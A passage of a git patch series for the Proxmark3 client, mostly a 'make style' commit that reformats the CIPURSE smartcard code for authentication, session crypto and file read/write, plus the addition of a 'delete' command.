PM3_SUCCESS; +} + + + + + + + @@ -594,6 +689,7 @@ static command_t CommandTable[] = { {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read binary file."}, {"write", CmdHFCipurseWriteFile, IfPm3Iso14443a, "Write binary file."}, {"aread", CmdHFCipurseReadFileAttr, IfPm3Iso14443a, "Read file attributes."}, + {"delete", CmdHFCipurseDeleteFile, IfPm3Iso14443a, "Delete file."}, {NULL, NULL, 0, NULL} }; From f3f3a5a270c637ce90860335d1f6372e609a60b4 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 3 Jun 2021 19:13:11 +0300 Subject: [PATCH 69/77] make style --- client/src/cipurse/cipursecore.c | 52 +++++------ client/src/cipurse/cipursecrypto.c | 141 +++++++++++++++-------------- client/src/cipurse/cipursecrypto.h | 8 +- client/src/cmdhf.c | 2 +- client/src/cmdhfcipurse.c | 130 +++++++++++++------------- 5 files changed, 169 insertions(+), 164 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 2ddd94554..0fa1c6911 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -38,7 +38,7 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, DropField(); msleep(50); } - + // long messages is not allowed if (apdu.Lc > 228) return 20; @@ -50,7 +50,7 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, xle = Le; CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le); - + if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) { PrintAndLogEx(ERR, "APDU encoding error."); return 201; @@ -66,11 +66,11 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, if (GetAPDULogging()) PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen)); - + if (*ResultLen < 2) { return 200; } - + size_t rlen = 0; if (*ResultLen == 2) { if (cipurseContext.RequestSecurity == CPSMACed || cipurseContext.RequestSecurity == CPSEncrypted) @@ -81,10 +81,10 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw); memcpy(Result, securedata, rlen); } - + if (ResultLen != NULL) *ResultLen = rlen; - + if (sw != NULL) *sw = isw; @@ -158,13 +158,13 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { CipurseContext cpc = {0}; CipurseCSetKey(&cpc, keyIndex, key); - + // get RP, rP int res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); if (res != 0 || len != 0x16) { if (verbose) PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw); - + return false; } CipurseCSetRandomFromPICC(&cpc, buf); @@ -172,7 +172,7 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { // make auth data uint8_t authparams[16 + 16 + 6] = {0}; CipurseCAuthenticateHost(&cpc, authparams); - + // authenticate res = CIPURSEMutalAuthenticate(keyIndex, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000 || len != 16) { @@ -186,22 +186,22 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (verbose) PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw); } - + CipurseCClearContext(&cipurseContext); return false; } - + if (CipurseCCheckCT(&cpc, buf)) { if (verbose) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); - + CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); return true; } else { if (verbose) PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT"); - + CipurseCClearContext(&cipurseContext); return false; } @@ -257,7 +257,7 @@ void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { PrintAndLogEx(ERR, "Attributes length " _RED_("ERROR")); return; } - + PrintAndLogEx(INFO, "--------- FILE ATTRIBUTES ---------"); if (fileAttr[0] == 0x38) { PrintAndLogEx(INFO, "Type: MF, ADF"); @@ -281,14 +281,14 @@ void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { else PrintAndLogEx(INFO, "PxSE select returns FCPTemplate ON"); } - + PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]); - + PrintAndLogEx(INFO, "Maximum number of custom EFs: %d", fileAttr[4]); PrintAndLogEx(INFO, "Maximum number of EFs with SFID: %d", fileAttr[5]); uint8_t keyNum = fileAttr[6]; PrintAndLogEx(INFO, "Keys assigned: %d", keyNum); - + if (len >= 9) { PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]); } @@ -296,7 +296,7 @@ void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { if (len >= 10 + keyNum + 1) { PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], keyNum + 1)); } - + if (len >= 11 + keyNum + 1 + keyNum * 7) { for (int i = 0; i < keyNum; i++) { PrintAndLogEx(INFO, "Key %d Attributes: %s", i, sprint_hex(&fileAttr[11 + keyNum + 1 + i * 7], 7)); @@ -307,7 +307,7 @@ void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { if (fileAttr[1] == 0x00) { PrintAndLogEx(INFO, "Total memory size: %d", (fileAttr[len - 6] << 16) + (fileAttr[len - 1] << 5) + fileAttr[len - 4]); PrintAndLogEx(INFO, "Free memory size: %d", (fileAttr[len - 3] << 16) + (fileAttr[len - 2] << 8) + fileAttr[len - 1]); - + } else { int ptr = 11 + keyNum + 1 + keyNum * 7; if (len > ptr) @@ -322,27 +322,27 @@ void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { PrintAndLogEx(INFO, "SFI: 0x%02x", fileAttr[1]); PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]); - + if (fileAttr[0] == 0x01 || fileAttr[0] == 0x11) PrintAndLogEx(INFO, "File size: %d", (fileAttr[4] << 8) + fileAttr[5]); else PrintAndLogEx(INFO, "Record num: %d record size: %d", fileAttr[4], fileAttr[5]); - + PrintAndLogEx(INFO, "Keys assigned: %d", fileAttr[6]); - + if (len >= 9) { PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]); } - + if (len >= 10) { PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], len - 9)); if (fileAttr[6] + 1 != len - 9) PrintAndLogEx(WARNING, "ART length is wrong"); } - + } - - + + } diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 7e31fba07..e68adc14f 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -27,16 +27,21 @@ uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x74, 0x74, 0x74, 0x74, 0x74, 0x74, uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) { switch (lvl) { - case CPSNone: return 0x00; - case CPSPlain: return 0x00; - case CPSMACed: return 0x01; - case CPSEncrypted: return 0x02; - default: return 0x00; + case CPSNone: + return 0x00; + case CPSPlain: + return 0x00; + case CPSMACed: + return 0x01; + case CPSEncrypted: + return 0x02; + default: + return 0x00; } } static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) { - for(size_t i = 0; i < len; i++) + for (size_t i = 0; i < len; i++) d1[i] = d1[i] ^ d2[i]; } @@ -74,14 +79,14 @@ static uint64_t rotateLeft48(uint64_t src) { static uint64_t computeNLM48(uint64_t x, uint64_t y) { uint64_t res = 0; - + for (int i = 0; i < 48; i++) { res = rotateLeft48(res); if (res & 1) res = res ^ CIPURSE_POLY; y = rotateLeft48(y); if (y & 1) - res = res ^ x; + res = res ^ x; } return res; } @@ -89,25 +94,25 @@ static uint64_t computeNLM48(uint64_t x, uint64_t y) { static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) { uint64_t x64 = 0; uint64_t y64 = 0; - + for (int i = 0; i < 6; i++) { x64 = (x64 << 8) | x[i]; y64 = (y64 << 8) | y[i]; } - + uint64_t res64 = computeNLM48(x64, y64); - + for (int i = 0; i < 6; i++) { res[5 - i] = res64 & 0xff; res64 = res64 >> 8; } } -static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { +static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0}; uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0}; uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0}; - + // session key derivation function // kP := NLM(EXT(kID), rP) // k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID @@ -116,11 +121,11 @@ static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { bin_pad2(temp1, CIPURSE_AES_KEY_LENGTH, kp, CIPURSE_SECURITY_PARAM_N); bin_pad(temp2, CIPURSE_AES_KEY_LENGTH, ctx->rT, CIPURSE_SECURITY_PARAM_N); bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH); - - // session key K0 + + // session key K0 aes_encode(NULL, temp1, ctx->key, ctx->k0, CIPURSE_AES_KEY_LENGTH); bin_xor(ctx->k0, ctx->key, CIPURSE_AES_KEY_LENGTH); - + // first frame key k1, function to calculate k1, // k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT) memcpy(temp1, ctx->k0, CIPURSE_AES_KEY_LENGTH); @@ -128,7 +133,7 @@ static void CipurseCGenerateK0AndCp(CipurseContext *ctx) { aes_encode(NULL, ctx->RP, temp1, temp2, CIPURSE_AES_KEY_LENGTH); bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH); memcpy(ctx->frameKey, temp1, CIPURSE_AES_KEY_LENGTH); - + // function to caluclate cP := AES(key=k0, RP). // terminal response aes_encode(NULL, ctx->k0, ctx->RP, ctx->cP, CIPURSE_AES_KEY_LENGTH); @@ -148,16 +153,16 @@ void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) { void CipurseCClearContext(CipurseContext *ctx) { if (ctx == NULL) return; - + memset(ctx, 0, sizeof(CipurseContext)); } void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) { if (ctx == NULL) return; - + CipurseCClearContext(ctx); - + ctx->keyId = keyId; memcpy(ctx->key, key, member_size(CipurseContext, key)); } @@ -174,7 +179,7 @@ bool isCipurseCChannelSecuritySet(CipurseContext *ctx) { void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { if (ctx == NULL) return; - + memcpy(ctx->RP, random, member_size(CipurseContext, RP)); memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP)); } @@ -194,13 +199,13 @@ uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) { static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) { memcpy(authdata, ctx->cP, member_size(CipurseContext, cP)); memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT)); - memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT)); + memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT)); } void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) { if (ctx == NULL) return; - + CipurseCSetRandomHost(ctx); CipurseCGenerateK0AndCp(ctx); CipurseCGenerateCT(ctx->k0, ctx->RT, ctx->CT); @@ -231,7 +236,7 @@ size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) { return 0; } -static uint16_t CipurseCComputeMICCRC (uint8_t *data, size_t len) { +static uint16_t CipurseCComputeMICCRC(uint8_t *data, size_t len) { uint16_t initCRC = 0x6363; for (size_t i = 0; i < len; i++) { uint8_t ch = data[i] ^ initCRC; @@ -245,16 +250,16 @@ void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { size_t plen = 0; uint8_t pdata[datalen + CIPURSE_MIC_LENGTH]; memset(pdata, 0, sizeof(pdata)); - + // 0x00 padding memcpy(pdata, data, datalen); plen = datalen; if (datalen % CIPURSE_MIC_LENGTH) plen += CIPURSE_MIC_LENGTH - datalen % CIPURSE_MIC_LENGTH; - + // crc uint16_t crc1 = CipurseCComputeMICCRC(pdata, plen); - + for (size_t i = 0; i < datalen; i += 4) { uint8_t tmp1 = pdata[i + 0]; uint8_t tmp2 = pdata[i + 1]; @@ -263,7 +268,7 @@ void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { pdata[i + 2] = tmp1; pdata[i + 3] = tmp2; } - + uint16_t crc2 = CipurseCComputeMICCRC(pdata, plen); if (mic != NULL) { mic[0] = crc2 >> 8; @@ -275,16 +280,16 @@ void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) { bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) { uint8_t xmic[CIPURSE_MIC_LENGTH] = {0}; - + CipurseCGenerateMIC(data, datalen, xmic); return (memcmp(xmic, mic, CIPURSE_MIC_LENGTH) == 0); } /* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521 - * + * * Encrypt/Decrypt the given data using ciphering mechanism explained the OPST. * Data should be already padded. - * + * * hx-1 := ki , hx := AES( key = hx-1 ; q) XOR q, Cx := AES( key = hx ; * Dx ), hx+1 := AES( key = hx ; q ) XOR q, Cx+1 := AES( key = hx+1 ; * Dx+1 ), ... hy := AES( key = hy-1 ; q ) XOR q, Cy := AES( key = hy ; @@ -292,21 +297,21 @@ bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) { */ void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) { uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0}; - + if (datalen == 0 || datalen % CIPURSE_AES_KEY_LENGTH != 0) return; - + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); int i = 0; while (datalen > i) { aes_encode(NULL, QConstant, ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); bin_xor(hx, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); - + if (isEncrypt) aes_encode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH); else aes_decode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH); - + memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH); i += CIPURSE_AES_KEY_LENGTH; } @@ -317,7 +322,7 @@ void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH]; size_t pdatalen = 0; AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH); - + CipurseCEncryptDecrypt(ctx, pdata, pdatalen, encdata, true); *encdatalen = pdatalen; } @@ -328,10 +333,10 @@ void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, } /* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473 - * + * * Generate OSPT MAC on the given input data. * Data should be already padded. - * + * * Calculation of Mi and ki+1: hx := ki , hx+1 := AES( key = hx ; Dx ) * XOR Dx , hx+2 := AES( key = hx+1 ; Dx+1 ) XOR Dx+1, hx+3 := AES( key = * hx+2 ; Dx+2 ) XOR Dx+2, ... hy+1 := AES( key = hy ; Dy ) XOR Dy, ki+1 := @@ -349,7 +354,7 @@ void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uin memcpy(ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); i += CIPURSE_AES_KEY_LENGTH; } - + aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); @@ -377,7 +382,7 @@ static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t orig data[3] = apdu->P2; data[4] = apdu->Lc; *datalen = 5 + apdu->Lc; - + if (ctx->RequestSecurity == CPSMACed || ctx->RequestSecurity == CPSEncrypted) *datalen = 5 + originalLc; memcpy(&data[5], apdu->data, *datalen); @@ -387,12 +392,12 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t mac[CIPURSE_MAC_LENGTH] = {0}; uint8_t buf[260] = {0}; size_t buflen = 0; - + memcpy(dstapdu, srcapdu, sizeof(sAPDU)); - + if (isCipurseCChannelSecuritySet(ctx) == false) return; - + dstapdu->CLA |= 0x04; dstapdu->data = dstdatabuf; dstapdu->data[0] = CipurseCGetSMI(ctx, includeLe); @@ -406,23 +411,23 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, switch (ctx->RequestSecurity) { case CPSNone: - break; - case CPSPlain: + break; + case CPSPlain: CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); CipurseCCalcMACPadded(ctx, buf, buflen, NULL); - break; + break; case CPSMACed: dstapdu->Lc += CIPURSE_MAC_LENGTH; CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); CipurseCCalcMACPadded(ctx, buf, buflen, mac); memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH); - break; + break; case CPSEncrypted: dstapdu->Lc = srcapdu->Lc + CIPURSE_MIC_LENGTH; dstapdu->Lc += CIPURSE_AES_BLOCK_LENGTH - dstapdu->Lc % CIPURSE_AES_BLOCK_LENGTH + 1; // 1 - SMI if (includeLe) dstapdu->Lc++; - + CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen); CipurseCGenerateMIC(buf, buflen, mac); buf[0] = dstapdu->CLA; @@ -433,9 +438,9 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, memcpy(&buf[4 + srcapdu->Lc], mac, CIPURSE_MIC_LENGTH); //PrintAndLogEx(INFO, "data plain[%d]: %s", 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, sprint_hex(buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH)); CipurseCChannelEncrypt(ctx, buf, 4 + srcapdu->Lc + CIPURSE_MIC_LENGTH, &dstdatabuf[1], &buflen); - break; - default: - break; + break; + default: + break; } } @@ -450,37 +455,37 @@ void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdat *dstdatalen = 0; if (sw != NULL) *sw = 0; - + if (srcdatalen < 2) return; - + srcdatalen -= 2; uint16_t xsw = srcdata[srcdatalen] * 0x0100 + srcdata[srcdatalen + 1]; if (sw) *sw = xsw; - + if (isCipurseCChannelSecuritySet(ctx) == false) { memcpy(dstdata, srcdata, srcdatalen); if (dstdatalen != NULL) *dstdatalen = srcdatalen; return; } - + switch (ctx->ResponseSecurity) { case CPSNone: - break; - case CPSPlain: + break; + case CPSPlain: memcpy(buf, srcdata, srcdatalen); buflen = srcdatalen; memcpy(&buf[buflen], &srcdata[srcdatalen], 2); buflen += 2; CipurseCCalcMACPadded(ctx, buf, buflen, NULL); - + memcpy(dstdata, srcdata, srcdatalen); if (dstdatalen != NULL) *dstdatalen = srcdatalen; - break; - case CPSMACed: + break; + case CPSMACed: if (srcdatalen < CIPURSE_MAC_LENGTH) return; @@ -496,28 +501,28 @@ void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdat memcpy(dstdata, srcdata, srcdatalen); if (dstdatalen != NULL) *dstdatalen = srcdatalen; - break; + break; case CPSEncrypted: CipurseCChannelDecrypt(ctx, srcdata, srcdatalen, buf, &buflen); //PrintAndLogEx(INFO, "data plain[%d]: %s", buflen, sprint_hex(buf, buflen)); - + micdatalen = buflen - 2 - CIPURSE_MIC_LENGTH; memcpy(micdata, buf, buflen); memcpy(&micdata[micdatalen], &buf[buflen - 2], 2); micdatalen += 2; - + if (CipurseCCheckMIC(micdata, micdatalen, &buf[micdatalen - 2]) == false) { PrintAndLogEx(ERR, "APDU response MIC is not valid!"); } - + memcpy(dstdata, buf, micdatalen - 2); if (dstdatalen != NULL) *dstdatalen = micdatalen - 2; if (sw) *sw = micdata[micdatalen - 2] * 0x0100 + micdata[micdatalen - 1]; - break; - default: - break; + break; + default: + break; } - + } diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index b554f54de..189ba7c5a 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -35,19 +35,19 @@ typedef enum { typedef struct CipurseContextS { uint8_t keyId; uint8_t key[CIPURSE_AES_KEY_LENGTH]; - + uint8_t RP[CIPURSE_AES_KEY_LENGTH]; uint8_t rP[CIPURSE_SECURITY_PARAM_N]; uint8_t RT[CIPURSE_AES_KEY_LENGTH]; uint8_t rT[CIPURSE_SECURITY_PARAM_N]; - + uint8_t k0[CIPURSE_AES_KEY_LENGTH]; uint8_t cP[CIPURSE_AES_KEY_LENGTH]; uint8_t CT[CIPURSE_AES_KEY_LENGTH]; - + uint8_t frameKey[CIPURSE_AES_KEY_LENGTH]; uint8_t frameKeyNext[CIPURSE_AES_KEY_LENGTH]; - + CipurseChannelSecurityLevel RequestSecurity; CipurseChannelSecurityLevel ResponseSecurity; } CipurseContext; diff --git a/client/src/cmdhf.c b/client/src/cmdhf.c index ca4753d7c..6fd9faaac 100644 --- a/client/src/cmdhf.c +++ b/client/src/cmdhf.c @@ -128,7 +128,7 @@ int CmdHFSearch(const char *Cmd) { res = PM3_SUCCESS; } } - + PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, " Searching for Cipurse tag..."); if (IfPm3Iso14443a()) { diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 4379d6b02..6ce7c8895 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -86,7 +86,7 @@ static int CmdHFCipurseInfo(const char *Cmd) { DropField(); return PM3_SUCCESS; } - + if (len > 0) { PrintAndLogEx(INFO, "Info file: " _GREEN_("OK")); PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len)); @@ -119,13 +119,13 @@ static int CmdHFCipurseAuth(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - + bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); keyId = arg_get_int_def(ctx, 3, 1); - + uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen); if (hdatalen && hdatalen != 16) { PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); @@ -134,39 +134,39 @@ static int CmdHFCipurseAuth(const char *Cmd) { } if (hdatalen) memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); - + SetAPDULogging(APDULogging); CLIParserFree(ctx); - + int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } - + uint8_t kvv[CIPURSE_KVV_LENGTH] = {0}; CipurseCGetKVV(key, kvv); if (verbose) PrintAndLogEx(INFO, "Key id: %d key: %s KVV: %s", keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH), sprint_hex_inrow(kvv, CIPURSE_KVV_LENGTH)); bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); - + if (verbose == false) { if (bres) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); else PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); } - + DropField(); return bres ? PM3_SUCCESS : PM3_ESOFT; } static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, size_t sreqid, size_t srespid, uint8_t *key, CipurseChannelSecurityLevel *sreq, CipurseChannelSecurityLevel *sresp) { uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, keyid, hdata, &hdatalen); if (hdatalen && hdatalen != 16) { PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); @@ -175,12 +175,12 @@ static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, siz } if (hdatalen) memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); - + *sreq = CPSMACed; *sresp = CPSMACed; char cdata[250] = {0}; - int cdatalen = sizeof(cdata); + int cdatalen = sizeof(cdata); cdatalen--; // for trailer 0x00 CLIGetStrWithReturn(ctx, sreqid, (uint8_t *)cdata, &cdatalen); if (cdatalen) { @@ -197,7 +197,7 @@ static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, siz } } - cdatalen = sizeof(cdata); + cdatalen = sizeof(cdata); memset(cdata, 0, cdatalen); cdatalen--; // for trailer 0x00 CLIGetStrWithReturn(ctx, srespid, (uint8_t *)cdata, &cdatalen); @@ -214,7 +214,7 @@ static int CLIParseKeyAndSecurityLevels(CLIParserContext *ctx, size_t keyid, siz return PM3_EINVARG; } } - + return PM3_SUCCESS; } @@ -244,11 +244,11 @@ static int CmdHFCipurseReadFile(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - + bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); uint8_t keyId = arg_get_int_def(ctx, 3, 1); - + CipurseChannelSecurityLevel sreq = CPSMACed; CipurseChannelSecurityLevel sresp = CPSMACed; int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp); @@ -258,9 +258,9 @@ static int CmdHFCipurseReadFile(const char *Cmd) { } uint16_t fileId = 0x2ff7; - + uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); if (hdatalen && hdatalen != 2) { PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); @@ -269,7 +269,7 @@ static int CmdHFCipurseReadFile(const char *Cmd) { } if (hdatalen) fileId = (hdata[0] << 8) + hdata[1]; - + size_t offset = arg_get_int_def(ctx, 6, 0); bool noAuth = arg_get_lit(ctx, 7); @@ -277,14 +277,14 @@ static int CmdHFCipurseReadFile(const char *Cmd) { SetAPDULogging(APDULogging); CLIParserFree(ctx); - + res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); DropField(); return PM3_ESOFT; } - + if (verbose) PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); @@ -296,11 +296,11 @@ static int CmdHFCipurseReadFile(const char *Cmd) { DropField(); return PM3_ESOFT; } - + // set channel security levels CIPURSECSetActChannelSecurityLevels(sreq, sresp); } - + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) @@ -311,7 +311,7 @@ static int CmdHFCipurseReadFile(const char *Cmd) { if (verbose) PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); - + res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw); if (res != 0 || sw != 0x9000) { if (verbose == false) @@ -319,12 +319,12 @@ static int CmdHFCipurseReadFile(const char *Cmd) { DropField(); return PM3_ESOFT; } - + if (len == 0) PrintAndLogEx(INFO, "File id: %x is empty", fileId); else PrintAndLogEx(INFO, "File id: %x data[%d]: %s", fileId, len, sprint_hex(buf, len)); - + DropField(); return PM3_SUCCESS; } @@ -356,11 +356,11 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); - + bool APDULogging = arg_get_lit(ctx, 1); bool verbose = arg_get_lit(ctx, 2); uint8_t keyId = arg_get_int_def(ctx, 3, 1); - + CipurseChannelSecurityLevel sreq = CPSMACed; CipurseChannelSecurityLevel sresp = CPSMACed; int res = CLIParseKeyAndSecurityLevels(ctx, 4, 8, 9, key, &sreq, &sresp); @@ -370,9 +370,9 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { } uint16_t fileId = 0x2ff7; - + uint8_t hdata[250] = {0}; - int hdatalen = sizeof(hdata); + int hdatalen = sizeof(hdata); CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); if (hdatalen && hdatalen != 2) { PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); @@ -381,12 +381,12 @@ static int CmdHFCipurseWriteFile(const char *Cmd) { } if (hdatalen) fileId = (hdata[0] << 8) + hdata[1]; - + size_t offset = arg_get_int_def(ctx, 6, 